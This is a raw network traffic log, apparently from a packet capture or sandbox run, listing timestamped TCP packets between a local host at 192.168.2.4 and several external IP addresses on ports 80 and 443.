Dec 9, 2024 23:09:21.586327076 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.587172031 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.587213039 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.587284088 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.587327957 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.588185072 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.588232040 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.588301897 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.588340998 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.589289904 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.589345932 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.589607000 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.589703083 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.590217113 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.590257883 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.590287924 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.590331078 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.591325045 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.591370106 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.591401100 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.591449022 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.592267990 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.592341900 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.592358112 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.592397928 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.593287945 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.593380928 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.593404055 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.593449116 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.594295979 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.594352007 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.594610929 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.594670057 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.595417023 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.595459938 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.595735073 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.595772982 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.596396923 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.596443892 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.596524000 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.596642017 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.597469091 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.597522974 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.597584009 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.597624063 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.598417997 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.598510027 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.598555088 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.598599911 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.599463940 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.599512100 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.599597931 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.599642992 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.600503922 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.600595951 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.600608110 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.600665092 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.601511002 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.601571083 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.601617098 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.601711035 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.603274107 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.603332043 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.603418112 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.603457928 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.603559017 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.603636026 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.603876114 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.604135990 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.604626894 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.604672909 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.604705095 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.604756117 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.606462955 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.606514931 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.606601954 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.606700897 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.606708050 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.606718063 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.606772900 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.607676029 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.607729912 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.607795000 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.607836008 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.608716011 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.608762026 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.608772039 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.608814001 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.609708071 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.609746933 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.609829903 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.609925032 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.610827923 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.610872030 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.610958099 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.610996962 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.612129927 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.612186909 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.612333059 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.612377882 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.612799883 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.612853050 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.612973928 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.613019943 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.613852024 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.613888979 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.613974094 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.614018917 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.614850044 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.614897013 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.615015030 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.615058899 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.615762949 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.615812063 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.716736078 CET	443	49800	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:21.716813087 CET	443	49800	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:21.716866016 CET	49800	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:21.717000008 CET	49800	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:21.717008114 CET	443	49800	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:21.754139900 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.754194021 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.754231930 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.754271030 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.754605055 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.754667044 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.754724979 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.754767895 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.755642891 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.755687952 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.755733967 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.755811930 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.756668091 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.756762028 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.756808043 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.757734060 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.757790089 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.757812977 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.757863045 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.758698940 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.758745909 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.758867979 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.758910894 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.759774923 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.759872913 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.759907961 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.759918928 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.760797977 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.760853052 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.760860920 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.760905981 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.764355898 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.764367104 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.764378071 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.764388084 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.764400005 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.764403105 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.764410973 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.764425993 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.764452934 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.765412092 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.765573025 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.765584946 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.765613079 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.766391039 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.766433001 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.766578913 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.766673088 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.766680002 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.767488003 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.767498016 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.767541885 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.767564058 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.768511057 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.768558979 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.768693924 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.768784046 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.769474030 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.769522905 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.769653082 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.769699097 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.770319939 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.770329952 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.770382881 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.771038055 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.771100044 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.771176100 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.771359921 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.772088051 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.772130966 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.772186995 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.772227049 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.773093939 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.773250103 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.773299932 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.774110079 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.774120092 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.774174929 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.775115013 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.775163889 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.775249004 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.775290966 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.776290894 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.776345015 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.777261972 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.777273893 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.777308941 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.777798891 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.777854919 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.778186083 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.778351068 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.778399944 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.779355049 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.779517889 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.779561043 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.780247927 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.780384064 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.780428886 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.781251907 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.781296968 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.781384945 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.781506062 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.783639908 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.783689976 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.784672976 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.784722090 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.840827942 CET	49806	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:21.840868950 CET	443	49806	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:21.840950012 CET	49806	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:21.841330051 CET	49806	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:21.841345072 CET	443	49806	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:23.068847895 CET	443	49806	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:23.068928957 CET	49806	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:23.070151091 CET	49806	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:23.070163965 CET	443	49806	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:23.070365906 CET	443	49806	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:23.071985006 CET	49806	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:23.072081089 CET	49806	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:23.072113037 CET	443	49806	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:23.661761045 CET	49807	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:23.781069994 CET	80	49807	185.215.113.206	192.168.2.4
Dec 9, 2024 23:09:23.782063961 CET	49807	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:23.805737972 CET	49807	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:23.925076962 CET	80	49807	185.215.113.206	192.168.2.4
Dec 9, 2024 23:09:23.978106976 CET	443	49806	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:23.978178024 CET	443	49806	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:23.978224039 CET	49806	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:23.992996931 CET	49806	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:23.993005991 CET	443	49806	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:24.014112949 CET	49787	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:24.014350891 CET	49813	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:24.133645058 CET	80	49813	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:24.133729935 CET	49813	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:24.133781910 CET	80	49787	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:24.133835077 CET	49787	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:24.134639978 CET	49813	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:24.253886938 CET	80	49813	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:24.391295910 CET	49814	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:24.391318083 CET	443	49814	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:24.391379118 CET	49814	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:24.391721010 CET	49814	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:24.391731024 CET	443	49814	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:25.145804882 CET	80	49807	185.215.113.206	192.168.2.4
Dec 9, 2024 23:09:25.147000074 CET	49807	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:25.149343967 CET	49807	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:25.268599033 CET	80	49807	185.215.113.206	192.168.2.4
Dec 9, 2024 23:09:25.467751980 CET	80	49813	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:25.467840910 CET	49813	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:25.470582962 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:25.470906973 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:25.590243101 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:25.590323925 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:25.590446949 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:25.590647936 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:25.590706110 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:25.594129086 CET	80	49807	185.215.113.206	192.168.2.4
Dec 9, 2024 23:09:25.594206095 CET	49807	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:25.602900982 CET	443	49814	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:25.602979898 CET	49814	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:25.604115963 CET	49814	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:25.604125977 CET	443	49814	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:25.604319096 CET	443	49814	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:25.605964899 CET	49814	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:25.606136084 CET	49814	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:25.606159925 CET	443	49814	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:25.606228113 CET	49814	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:25.606235981 CET	443	49814	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:25.709701061 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:26.514719963 CET	443	49814	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:26.514799118 CET	443	49814	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:26.514863014 CET	49814	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:26.573710918 CET	49814	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:26.573725939 CET	443	49814	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:26.921914101 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:26.921926022 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:26.921964884 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:26.922003031 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:26.922203064 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:26.922249079 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:26.922288895 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:26.922329903 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:26.922367096 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:26.922406912 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:26.922801971 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:26.922848940 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:26.922945023 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:26.922952890 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:26.923000097 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:26.923013926 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:26.923584938 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:26.923624992 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:26.923655987 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:26.923702002 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.041273117 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.041335106 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.041412115 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.041507006 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.045384884 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.045452118 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.047099113 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.047228098 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.047280073 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.114389896 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.114455938 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.114491940 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.114535093 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.118597031 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.118658066 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.118726969 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.118768930 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.126976013 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.127149105 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.127197981 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.135310888 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.135397911 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.135425091 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.135467052 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.143660069 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.143734932 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.143765926 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.143809080 CET	49815	80	192.168.2.4	185.215.113.16
